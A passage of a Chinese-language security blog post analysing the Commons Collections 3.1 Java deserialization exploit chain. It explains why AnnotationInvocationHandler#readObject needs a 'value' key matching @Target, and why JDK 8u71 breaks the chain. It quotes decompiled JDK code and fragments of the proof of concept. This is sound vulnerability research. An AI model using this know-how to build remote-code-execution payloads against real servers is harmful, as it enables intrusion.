来DEBUG看当取值key:value时,在什么地方出了问题,找到是反序列化时的sun.reflect.annotation.AnnotationInvocationHandler#readObject,这边var7,会为空,从而不进入我们的setValue触发命令执行。

来看为什么,重新分析之前囫囵吞枣地AnnotationInvocationHandler的readobject:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        //默认反序列化,这里是前半部分代码
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            //这里的this.type是我们在实例化的时候传入的jdk自带的Target.class
            //之前的poc语句是这样Object instance = ctor.newInstance(Target.class, outerMap);
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

AnnotationType.getInstance(this.type)是一个关键的有关注解的操作。所以我们需要先来了解一下java的注解。

注解

Target.class其实是java提供的的元注解(因为是注解所以之后写成特有的形式@Target)。除此之外还有@Retention@Documented@Inherited,所谓元注解就是标记其他注解的注解。

  • @Target 用来约束注解可以应用的地方(如方法、类或字段)
  • @Retention用来约束注解的生命周期,分别有三个值,源码级别(source),类文件级别(class)或者运行时级别(runtime)
  • @Documented 被修饰的注解会生成到javadoc中
  • @Inherited 可以让注解被继承,但这并不是真的继承,只是通过使用@Inherited,可以让子类Class对象使用getAnnotations()获取父类被@Inherited修饰的注解
  • 除此之外注解还可以有注解元素(等同于赋值)。

举个自定义注解的例子:

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface DBTable {
    String name() default "";//default是默认值
}

它会被这样使用:

@DBTable(name = "MEMBER")
public class Member {
}

由于赋值的时候总是用 注解元素 = 值的形式太麻烦了,出现了 value 这个偷懒的语法糖。(这也是为什么之前的@Target(ElementType.TYPE)不是注解元素 = 值的形式)

如果注解元素为value时,就不需要用注解元素 = 值的形式,而是直接写入值就可以赋值为value。

除此之外java还有一些内置注解:

  • @Override:用于标明此方法覆盖了父类的方法
  • @Deprecated:用于标明已经过时的方法或类
  • @SuppressWarnnings:用于有选择的关闭编译器对类、方法、成员变量、变量初始化的警告

回过头来看看java.lang.annotation.Target

@Documented//会被写入javadoc文档
@Retention(RetentionPolicy.RUNTIME)//生命周期时运行时
@Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
public @interface Target {
    ElementType[] value();//注解元素,一个特定的value语法糖,可以省点力气
}
回来

初步了解了java的注解之后,我们回来看AnnotationType.getInstance(this.type)对@Target这个注解的处理,不过多的去纠结内部细节,getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等。

再来看接下来的var3,var3就是一个注解元素的键值对value这个注解元素,可以取值Ljava.lang.annotation.ElementType类型的值

//后半部分代码
        Map var3 = var2.memberTypes();//{value:ElementType的键值对}
        Iterator var4 = this.memberValues.entrySet().iterator();
        //获取我们构造map的迭代器,无法命令执行的键值对是{key:value}

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();//获取到{key:value}
            String var6 = (String)var5.getKey();//获取键值对的键名key
            Class var7 = (Class)var3.get(var6);
            //从@Target的注解元素键值对{value:ElementType的键值对}中去寻找键名为key的值
            //于是var7为空
            if (var7 != null) {
                //触发命令执行处
                }
            }
        }

    }
}

这样我们就搞懂了为什么赋值map{key:value}就不行,因为通过AnnotationInvocationHandler#readObject,我们需要保证:

  • 我们poc中提供的this.type的注解要存在注解元素名(为了满足var3不为空)。
  • 我们poc中提供的this.memberValues中存在的一个键值对的键名与this.type的注解要存在注解元素名相等。(为了满足var7!=null)

所以我们选取了@Target注解作为this.type,我们就必须向this.memberValues写入一个value:xxx的键值对

这里的this.type是可以变动的,比如换成另一个元注释Retention.class(虽然他的注解元素名也是value),甚至可以自定义,但是对方服务器上没有这个注释,打别人是没有用的,所以还是选用大家都有的元注释。

同时我们写入的this.memberValues的键名不能改变,但是值可以改变。

比如:

现在完美

jdk1.8为什么不行呢

其实上面的poc在Java 7的低版本(只测试了7u80,没有具体版本号)、8u71之前都是可以使用的,在Java 8u71之后代码发生了变动。

那么为啥不行呢,看一下jdk8里面的sun.reflect.annotation.AnnotationInvocationHandler readObject复写点:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    //很伤心的,没有了map赋值语句
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
        //省略不重要...
}

因为这个函数出现了变动,不再有针对我们构造的map的赋值语句,所以触发不了漏洞。

而是改成了新建一个LinkedHashMap,把值转进这个LinkedHashMap里面。

写在后面

至此我们就完成common-collection 3.1版本 jdk1.7版本下的POC复现和利用链分析。
当然还有common-collection 不同组件版本,不同环境下poc和利用链均有不同,在ysoserial下就有7,8中利用方式。
还可以通过rmi模式进行利用等。

但是由于这篇博客写的太长了,思路也一直断断续续,其他内容之后再陆续学习分析吧~

参考资料

参考资料大多从先知中获取,这里就列举一部分。
https://xz.aliyun.com/t/4711#toc-3
http://blog.orleven.com/2017/11/11/java-deserialize/
玩转ysoserial-CommonsCollection的七种利用方式分析
Java安全漫谈 - 10.反序列化篇(4)

点击收藏 | 11 关注 | 3 打赏
登录 后跟帖